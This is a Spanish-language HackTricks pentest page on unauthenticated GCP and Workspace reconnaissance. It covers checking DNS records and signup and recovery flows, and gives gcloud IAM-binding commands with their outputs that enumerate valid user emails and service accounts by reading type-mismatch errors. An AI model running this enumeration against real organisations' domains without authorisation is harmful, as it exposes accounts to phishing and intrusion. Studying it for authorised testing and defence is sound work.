GCP - IAM, Principals & Org Unauthenticated Enum

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Iam & Principales de GCP

Para más información, consulta:

pageGCP - IAM, Principals & Org Policies Enum

¿Se utiliza el dominio en Workspace?

  1. Verificar registros DNS

Si tiene un registro de google-site-verification, es probable que esté (o haya estado) utilizando Workspace:

dig txt hacktricks.xyz

[...]
hacktricks.xyz.		3600	IN	TXT	"google-site-verification=2mWyPXMPXEEy6QqWbCfWkxFTcQhyYdwHrOxee1Yeo-0"
hacktricks.xyz.		3600	IN	TXT	"google-site-verification=C19PtLcZ1EGyzUYYJTX1Tp6bOGessxzN9gqE-SVKhRA"
hacktricks.xyz.		300	IN	TXT	"v=spf1 include:usb._netblocks.mimecast.com include:_spf.google.com include:_spf.psm.knowbe4.com include:_spf.salesforce.com include:spf.mandrillapp.com ~all"

Si también aparece algo como include:_spf.google.com confirma que es válido (ten en cuenta que si no aparece, no lo niega, ya que un dominio puede estar en Workspace sin usar gmail como proveedor de correo).

  1. Intenta configurar un Workspace con ese dominio

Otra opción es intentar configurar un Workspace utilizando el dominio, si indica que el dominio ya está en uso (como en la imagen), ¡sabes que ya está en uso!

Para intentar configurar un dominio de Workspace, sigue: https://workspace.google.com/business/signup/welcome

  1. Intenta recuperar la contraseña de un correo utilizando ese dominio

Si conoces alguna dirección de correo válida que se esté utilizando en ese dominio (como: admin@email.com o info@email.com) puedes intentar recuperar la cuenta en https://accounts.google.com/signin/v2/recoveryidentifier, y si no muestra un error indicando que Google no tiene información sobre esa cuenta, entonces está utilizando Workspace.

Enumerar correos electrónicos y cuentas de servicio

Es posible enumerar correos electrónicos válidos de un dominio de Workspace y correos de SA intentando asignarles permisos y verificando los mensajes de error. Para esto, solo necesitas tener permisos para asignar permisos a un proyecto (que puede ser de tu propiedad).

Ten en cuenta que para verificarlos, incluso si existen, sin otorgarles permisos, puedes usar el tipo serviceAccount cuando es un usuario y usuario cuando es un SA:

# Try to assign permissions to user 'unvalid-email-34r434f@hacktricks.xyz'
# but indicating it's a service account
gcloud projects add-iam-policy-binding <project-controlled-by-you> \
--member='serviceAccount:unvalid-email-34r434f@hacktricks.xyz' \
--role='roles/viewer'
## Response:
ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: User unvalid-email-34r434f@hacktricks.xyz does not exist.

# Now try with a valid email
gcloud projects add-iam-policy-binding <project-controlled-by-you> \
--member='serviceAccount:support@hacktricks.xyz' \
--role='roles/viewer'
# Response:
ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: Principal support@hacktricks.xyz is of type "user". The principal should appear as "user:support@hacktricks.xyz". See https://cloud.google.com/iam/help/members/types for additional documentation.

Ten en cuenta que cuando el correo del usuario era válido, el mensaje de error indicaba que el tipo no lo es, por lo que logramos descubrir que el correo electrónico support@hacktricks.xyz existe sin otorgarle ningún privilegio.

Puedes hacer lo mismo con las Cuentas de Servicio utilizando el tipo user: en lugar de serviceAccount::

# Non existent
gcloud projects add-iam-policy-binding <project-controlled-by-you> \
--member='serviceAccount:<invalid-sa-name>@<proj-uniq-name>.iam.gserviceaccount.com' \
--role='roles/viewer'
# Response
ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: User <invalid-sa-name>@<proj-uniq-name>.iam.gserviceaccount.com does not exist.

# Existent
gcloud projects add-iam-policy-binding <project-controlled-by-you> \
--member='serviceAccount:<sa-name>@<proj-uniq-name>.iam.gserviceaccount.com' \
--role='roles/viewer'
# Response
ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: Principal testing@digital-bonfire-410512.iam.gserviceaccount.com is of type "serviceAccount". The principal should appear as "serviceAccount:testing@digital-bonfire-410512.iam.gserviceaccount.com". See https://cloud.google.com/iam/help/members/types for additional documentation.
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización